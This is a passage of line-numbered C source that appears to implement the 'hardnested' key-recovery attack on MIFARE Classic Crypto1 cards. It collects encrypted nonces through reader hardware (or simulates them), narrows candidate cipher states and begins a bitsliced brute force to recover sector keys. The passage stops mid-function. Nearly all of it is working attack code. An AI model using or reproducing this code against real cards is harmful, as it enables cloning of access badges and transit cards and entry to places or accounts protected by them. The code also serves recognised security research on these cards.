707 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
708 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
709
710 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
711 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
712
713 do {
714 uint32_t nt_enc = 0;
715 uint8_t par_enc = 0;
716
717 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
718 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
719 total_added_nonces += add_nonce(nt_enc, par_enc);
720 total_num_nonces++;
721
722 if (first_byte_num == 256 ) {
723 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
724 if (!filter_flip_checked) {
725 Check_for_FilterFlipProperties();
726 filter_flip_checked = true;
727 }
728 num_good_first_bytes = estimate_second_byte_sum();
729 if (total_num_nonces > next_fivehundred) {
730 next_fivehundred = (total_num_nonces/500+1) * 500;
731 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
732 total_num_nonces,
733 total_added_nonces,
734 CONFIDENCE_THRESHOLD * 100.0,
735 num_good_first_bytes);
736 }
737 }
738
739 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
740
741 time1 = clock() - time1;
742 if ( time1 > 0 ) {
743 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
744 total_num_nonces,
745 ((float)time1)/CLOCKS_PER_SEC,
746 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
747 }
748 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
749
750 }
751
752 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
753 {
754 clock_t time1 = clock();
755 bool initialize = true;
756 bool field_off = false;
757 bool finished = false;
758 bool filter_flip_checked = false;
759 uint32_t flags = 0;
760 uint8_t write_buf[9];
761 uint32_t total_num_nonces = 0;
762 uint32_t next_fivehundred = 500;
763 uint32_t total_added_nonces = 0;
764 FILE *fnonces = NULL;
765 UsbCommand resp;
766
767 printf("Acquiring nonces...\n");
768
769 clearCommandBuffer();
770
771 do {
772 flags = 0;
773 flags |= initialize ? 0x0001 : 0;
774 flags |= slow ? 0x0002 : 0;
775 flags |= field_off ? 0x0004 : 0;
776 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}};
777 memcpy(c.d.asBytes, key, 6);
778
779 SendCommand(&c);
780
781 if (field_off) finished = true;
782
783 if (initialize) {
784 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1;
785 if (resp.arg[0]) return resp.arg[0]; // error during nested_hard
786
787 cuid = resp.arg[1];
788 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
789 if (nonce_file_write && fnonces == NULL) {
790 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
791 PrintAndLog("Could not create file nonces.bin");
792 return 3;
793 }
794 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
795 num_to_bytes(cuid, 4, write_buf);
796 fwrite(write_buf, 1, 4, fnonces);
797 fwrite(&trgBlockNo, 1, 1, fnonces);
798 fwrite(&trgKeyType, 1, 1, fnonces);
799 }
800 }
801
802 if (!initialize) {
803 uint32_t nt_enc1, nt_enc2;
804 uint8_t par_enc;
805 uint16_t num_acquired_nonces = resp.arg[2];
806 uint8_t *bufp = resp.d.asBytes;
807 for (uint16_t i = 0; i < num_acquired_nonces; i+=2) {
808 nt_enc1 = bytes_to_num(bufp, 4);
809 nt_enc2 = bytes_to_num(bufp+4, 4);
810 par_enc = bytes_to_num(bufp+8, 1);
811
812 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
813 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
814 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
815 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
816
817 if (nonce_file_write) {
818 fwrite(bufp, 1, 9, fnonces);
819 }
820
821 bufp += 9;
822 }
823
824 total_num_nonces += num_acquired_nonces;
825 }
826
827 if (first_byte_num == 256 ) {
828 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
829 if (!filter_flip_checked) {
830 Check_for_FilterFlipProperties();
831 filter_flip_checked = true;
832 }
833 num_good_first_bytes = estimate_second_byte_sum();
834 if (total_num_nonces > next_fivehundred) {
835 next_fivehundred = (total_num_nonces/500+1) * 500;
836 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
837 total_num_nonces,
838 total_added_nonces,
839 CONFIDENCE_THRESHOLD * 100.0,
840 num_good_first_bytes);
841 }
842 if (num_good_first_bytes >= GOOD_BYTES_REQUIRED) {
843 field_off = true; // switch off field with next SendCommand and then finish
844 }
845 }
846
847 if (!initialize) {
848 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
849 fclose(fnonces);
850 return 1;
851 }
852 if (resp.arg[0]) {
853 fclose(fnonces);
854 return resp.arg[0]; // error during nested_hard
855 }
856 }
857
858 initialize = false;
859
860 } while (!finished);
861
862
863 if (nonce_file_write) {
864 fclose(fnonces);
865 }
866
867 time1 = clock() - time1;
868 if ( time1 > 0 ) {
869 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
870 total_num_nonces,
871 ((float)time1)/CLOCKS_PER_SEC,
872 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
873 );
874 }
875 return 0;
876 }
877
878 static int init_partial_statelists(void)
879 {
880 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
881 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
882
883 printf("Allocating memory for partial statelists...\n");
884 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
885 for (uint16_t i = 0; i <= 16; i+=2) {
886 partial_statelist[i].len[odd_even] = 0;
887 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
888 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
889 if (partial_statelist[i].states[odd_even] == NULL) {
890 PrintAndLog("Cannot allocate enough memory. Aborting");
891 return 4;
892 }
893 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
894 partial_statelist[i].index[odd_even][j] = NULL;
895 }
896 }
897 }
898
899 printf("Generating partial statelists...\n");
900 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
901 uint32_t index = -1;
902 uint32_t num_of_states = 1<<20;
903 for (uint32_t state = 0; state < num_of_states; state++) {
904 uint16_t sum_property = PartialSumProperty(state, odd_even);
905 uint32_t *p = partial_statelist[sum_property].states[odd_even];
906 p += partial_statelist[sum_property].len[odd_even];
907 *p = state;
908 partial_statelist[sum_property].len[odd_even]++;
909 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
910 if ((state & index_mask) != index) {
911 index = state & index_mask;
912 }
913 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
914 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
915 }
916 }
917 // add End Of List markers
918 for (uint16_t i = 0; i <= 16; i += 2) {
919 uint32_t *p = partial_statelist[i].states[odd_even];
920 p += partial_statelist[i].len[odd_even];
921 *p = 0xffffffff;
922 }
923 }
924
925 return 0;
926 }
927
928 static void init_BitFlip_statelist(void)
929 {
930 printf("Generating bitflip statelist...\n");
931 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
932 uint32_t index = -1;
933 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
934 for (uint32_t state = 0; state < (1 << 20); state++) {
935 if (filter(state) != filter(state^1)) {
936 if ((state & index_mask) != index) {
937 index = state & index_mask;
938 }
939 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
940 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
941 }
942 *p++ = state;
943 }
944 }
945 // set len and add End Of List marker
946 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
947 *p = 0xffffffff;
948 statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
949 }
950
951 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
952 {
953 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
954
955 if (p == NULL) return NULL;
956 while (*p < (state & mask)) p++;
957 if (*p == 0xffffffff) return NULL; // reached end of list, no match
958 if ((*p & mask) == (state & mask)) return p; // found a match.
959 return NULL; // no match
960 }
961
962 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
963 {
964 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
965 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
966 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
967 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
968 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
969 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
970 return !all_diff;
971 }
972
973 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
974 {
975 uint_fast8_t j_bit_mask = 0x01 << bit;
976 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
977 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
978 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
979 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
980 return all_diff;
981 }
982
983 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
984 {
985 if (odd_even) {
986 // odd bits
987 switch (num_common_bits) {
988 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
989 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
990 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
991 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
992 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
993 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
994 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
995 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
996 }
997 } else {
998 // even bits
999 switch (num_common_bits) {
1000 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
1001 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
1002 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
1003 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
1004 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
1005 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
1006 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
1007 }
1008 }
1009
1010 return true; // valid state
1011 }
1012
1013 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1014 {
1015 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1016 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1017 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1018 uint_fast8_t j = common_bits(bytes_diff);
1019 uint32_t mask = 0xfffffff0;
1020 if (odd_even == ODD_STATE) {
1021 mask >>= j/2;
1022 } else {
1023 mask >>= (j+1)/2;
1024 }
1025 mask &= 0x000fffff;
1026 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1027 bool found_match = false;
1028 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1029 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1030 if (r*(16-s) + (16-r)*s == sum_a8) {
1031 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1032 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1033 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1034 if (p != NULL) {
1035 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1036 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1037 found_match = true;
1038 // if ((odd_even == ODD_STATE && state == test_state_odd)
1039 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1040 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1041 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1042 // }
1043 break;
1044 } else {
1045 // if ((odd_even == ODD_STATE && state == test_state_odd)
1046 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1047 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1048 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1049 // }
1050 }
1051 p++;
1052 }
1053 } else {
1054 // if ((odd_even == ODD_STATE && state == test_state_odd)
1055 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1056 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1057 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1058 // }
1059 }
1060 }
1061 }
1062 }
1063
1064 if (!found_match) {
1065 // if ((odd_even == ODD_STATE && state == test_state_odd)
1066 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1067 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1068 // }
1069 return false;
1070 }
1071 }
1072
1073 return true;
1074 }
1075
1076 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1077 {
1078 for (uint16_t i = 0; i < 256; i++) {
1079 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1080 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1081 uint_fast8_t j = common_bits(bytes_diff);
1082 uint32_t mask = 0xfffffff0;
1083 if (odd_even == ODD_STATE) {
1084 mask >>= j/2;
1085 } else {
1086 mask >>= (j+1)/2;
1087 }
1088 mask &= 0x000fffff;
1089 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1090 bool found_match = false;
1091 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1092 if (p != NULL) {
1093 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1094 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1095 found_match = true;
1096 // if ((odd_even == ODD_STATE && state == test_state_odd)
1097 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1098 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1099 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1100 // }
1101 break;
1102 } else {
1103 // if ((odd_even == ODD_STATE && state == test_state_odd)
1104 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1105 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1106 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1107 // }
1108 }
1109 p++;
1110 }
1111 } else {
1112 // if ((odd_even == ODD_STATE && state == test_state_odd)
1113 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1114 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1115 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1116 // }
1117 }
1118 if (!found_match) {
1119 // if ((odd_even == ODD_STATE && state == test_state_odd)
1120 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1121 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1122 // }
1123 return false;
1124 }
1125 }
1126
1127 }
1128
1129 return true;
1130 }
1131
1132 static struct sl_cache_entry {
1133 uint32_t *sl;
1134 uint32_t len;
1135 } sl_cache[17][17][2];
1136
1137 static void init_statelist_cache(void)
1138 {
1139 for (uint16_t i = 0; i < 17; i+=2) {
1140 for (uint16_t j = 0; j < 17; j+=2) {
1141 for (uint16_t k = 0; k < 2; k++) {
1142 sl_cache[i][j][k].sl = NULL;
1143 sl_cache[i][j][k].len = 0;
1144 }
1145 }
1146 }
1147 }
1148
1149 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1150 {
1151 uint32_t worstcase_size = 1<<20;
1152
1153 // check cache for existing results
1154 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1155 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1156 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1157 return 0;
1158 }
1159
1160 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1161 if (candidates->states[odd_even] == NULL) {
1162 PrintAndLog("Out of memory error.\n");
1163 return 4;
1164 }
1165 uint32_t *add_p = candidates->states[odd_even];
1166 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != 0xffffffff; p1++) {
1167 uint32_t search_mask = 0x000ffff0;
1168 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1169 if (p2 != NULL) {
1170 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) {
1171 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1172 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1173 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1174 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1175 *add_p++ = (*p1 << 4) | *p2;
1176 }
1177 }
1178 }
1179 p2++;
1180 }
1181 }
1182 }
1183
1184 // set end of list marker and len
1185 *add_p = 0xffffffff;
1186 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1187
1188 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1189
1190 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1191 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1192
1193 return 0;
1194 }
1195
1196 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1197 {
1198 statelist_t *new_candidates = NULL;
1199 if (current_candidates == NULL) {
1200 if (candidates == NULL) {
1201 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1202 }
1203 new_candidates = candidates;
1204 } else {
1205 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1206 }
1207 new_candidates->next = NULL;
1208 new_candidates->len[ODD_STATE] = 0;
1209 new_candidates->len[EVEN_STATE] = 0;
1210 new_candidates->states[ODD_STATE] = NULL;
1211 new_candidates->states[EVEN_STATE] = NULL;
1212 return new_candidates;
1213 }
1214
1215 static void TestIfKeyExists(uint64_t key)
1216 {
1217 struct Crypto1State *pcs;
1218 pcs = crypto1_create(key);
1219 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1220
1221 uint32_t state_odd = pcs->odd & 0x00ffffff;
1222 uint32_t state_even = pcs->even & 0x00ffffff;
1223 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1224
1225 uint64_t count = 0;
1226 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1227 bool found_odd = false;
1228 bool found_even = false;
1229 uint32_t *p_odd = p->states[ODD_STATE];
1230 uint32_t *p_even = p->states[EVEN_STATE];
1231 while (*p_odd != 0xffffffff) {
1232 if ((*p_odd & 0x00ffffff) == state_odd) {
1233 found_odd = true;
1234 break;
1235 }
1236 p_odd++;
1237 }
1238 while (*p_even != 0xffffffff) {
1239 if ((*p_even & 0x00ffffff) == state_even) {
1240 found_even = true;
1241 }
1242 p_even++;
1243 }
1244 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1245 if (found_odd && found_even) {
1246 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.",
1247 count, log(count)/log(2),
1248 maximum_states, log(maximum_states)/log(2),
1249 (count>>23)/60);
1250 if (write_stats) {
1251 fprintf(fstats, "1\n");
1252 }
1253 crypto1_destroy(pcs);
1254 return;
1255 }
1256 }
1257
1258 printf("Key NOT found!\n");
1259 if (write_stats) {
1260 fprintf(fstats, "0\n");
1261 }
1262 crypto1_destroy(pcs);
1263 }
1264
1265 static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1266 {
1267 printf("Generating crypto1 state candidates... \n");
1268
1269 statelist_t *current_candidates = NULL;
1270 // estimate maximum candidate states
1271 maximum_states = 0;
1272 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1273 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1274 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1275 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1276 }
1277 }
1278 }
1279 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0));
1280
1281 init_statelist_cache();
1282
1283 for (uint16_t p = 0; p <= 16; p += 2) {
1284 for (uint16_t q = 0; q <= 16; q += 2) {
1285 if (p*(16-q) + (16-p)*q == sum_a0) {
1286 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1287 p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1288 for (uint16_t r = 0; r <= 16; r += 2) {
1289 for (uint16_t s = 0; s <= 16; s += 2) {
1290 if (r*(16-s) + (16-r)*s == sum_a8) {
1291 current_candidates = add_more_candidates(current_candidates);
1292 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1293 // and eliminate the need to calculate the other part
1294 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1295 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1296 add_matching_states(current_candidates, p, r, ODD_STATE);
1297 if(current_candidates->len[ODD_STATE]) {
1298 add_matching_states(current_candidates, q, s, EVEN_STATE);
1299 } else {
1300 current_candidates->len[EVEN_STATE] = 0;
1301 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1302 *p = 0xffffffff;
1303 }
1304 } else {
1305 add_matching_states(current_candidates, q, s, EVEN_STATE);
1306 if(current_candidates->len[EVEN_STATE]) {
1307 add_matching_states(current_candidates, p, r, ODD_STATE);
1308 } else {
1309 current_candidates->len[ODD_STATE] = 0;
1310 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1311 *p = 0xffffffff;
1312 }
1313 }
1314 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1315 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1316 }
1317 }
1318 }
1319 }
1320 }
1321 }
1322
1323
1324 maximum_states = 0;
1325 for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) {
1326 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1327 }
1328 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0));
1329 if (write_stats) {
1330 if (maximum_states != 0) {
1331 fprintf(fstats, "%1.1f;", log(maximum_states)/log(2.0));
1332 } else {
1333 fprintf(fstats, "%1.1f;", 0.0);
1334 }
1335 }
1336 }
1337
1338 static void free_candidates_memory(statelist_t *sl)
1339 {
1340 if (sl == NULL) {
1341 return;
1342 } else {
1343 free_candidates_memory(sl->next);
1344 free(sl);
1345 }
1346 }
1347
1348 static void free_statelist_cache(void)
1349 {
1350 for (uint16_t i = 0; i < 17; i+=2) {
1351 for (uint16_t j = 0; j < 17; j+=2) {
1352 for (uint16_t k = 0; k < 2; k++) {
1353 free(sl_cache[i][j][k].sl);
1354 }
1355 }
1356 }
1357 }
1358
1359 uint64_t foundkey = 0;
1360 size_t keys_found = 0;
1361 size_t bucket_count = 0;
1362 statelist_t* buckets[128];
1363 size_t total_states_tested = 0;
1364 size_t thread_count = 4;
1365
1366 // these bitsliced states will hold identical states in all slices
1367 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
1368
1369 // arrays of bitsliced states with identical values in all slices
1370 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
1371 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
1372
1373 #define EXACT_COUNT
1374
1375 static const uint64_t crack_states_bitsliced(statelist_t *p){
1376 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1377 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1378 uint64_t key = -1;
1379 uint8_t bSize = sizeof(bitslice_t);
1380
1381 #ifdef EXACT_COUNT
1382 size_t bucket_states_tested = 0;
1383 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1384 #else
1385 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1386 #endif
1387
1388 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1389 size_t bitsliced_blocks = 0;
1390 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1391
1392 // bitslice all the even states
1393 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1394
1395 #ifdef __WIN32
1396 #ifdef __MINGW32__
1397 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1398 #else
1399 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1400 #endif
1401 #else
1402 #ifdef __APPLE__
1403 bitslice_t * restrict lstate_p = malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize);
1404 #else
1405 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1406 #endif
1407 #endif
1408
1409 if ( !lstate_p ) {
1410 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1411 return key;
1412 }
1413
1414 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
